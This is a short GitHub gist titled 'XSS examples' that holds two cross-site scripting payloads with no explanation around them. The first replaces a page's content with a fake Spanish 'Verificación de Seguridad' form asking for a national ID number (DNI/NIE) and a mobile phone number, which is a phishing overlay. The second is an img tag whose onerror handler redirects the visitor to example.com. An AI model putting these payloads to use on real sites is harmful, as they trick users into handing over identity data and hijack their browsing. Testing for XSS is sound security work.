Created
December 17, 2025 10:21
-
-
Save 0david0mp/0a695a6fa2cd425956437d630440fd36 to your computer and use it in GitHub Desktop.
XSS examples
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| document.body.innerHTML=' | |
| <div style=font-family:sans-serif; text-align:center; margin-top:50px;> | |
| <h2 style=color:#333>Verificación de Seguridad</h2> | |
| <p>Por favor, confirme su identidad para continuar.</p> | |
| <form style=display:inline-block; | |
| background:#f4f4f4; | |
| padding:20px; | |
| border:1px solid #ccc; | |
| border-radius:5px; | |
| text-align:left> | |
| <label>DNI / NIE: | |
| <br> | |
| <input type=text style=width:100%; margin-bottom:10px> | |
| </label> | |
| <br> | |
| <label> | |
| Teléfono Móvil: | |
| <br> | |
| <input type=tel style=width:100%; margin-bottom:20px> | |
| </label> | |
| <br> | |
| <button style=width:100%; | |
| padding:10px; | |
| background:#28a745; | |
| color:white; | |
| border:none; | |
| border-radius:3px; | |
| cursor:pointer> | |
| Validar Datos | |
| </button> | |
| </form> | |
| </div> | |
| ' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <img src=x onerror="window.location='//example.com'"> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment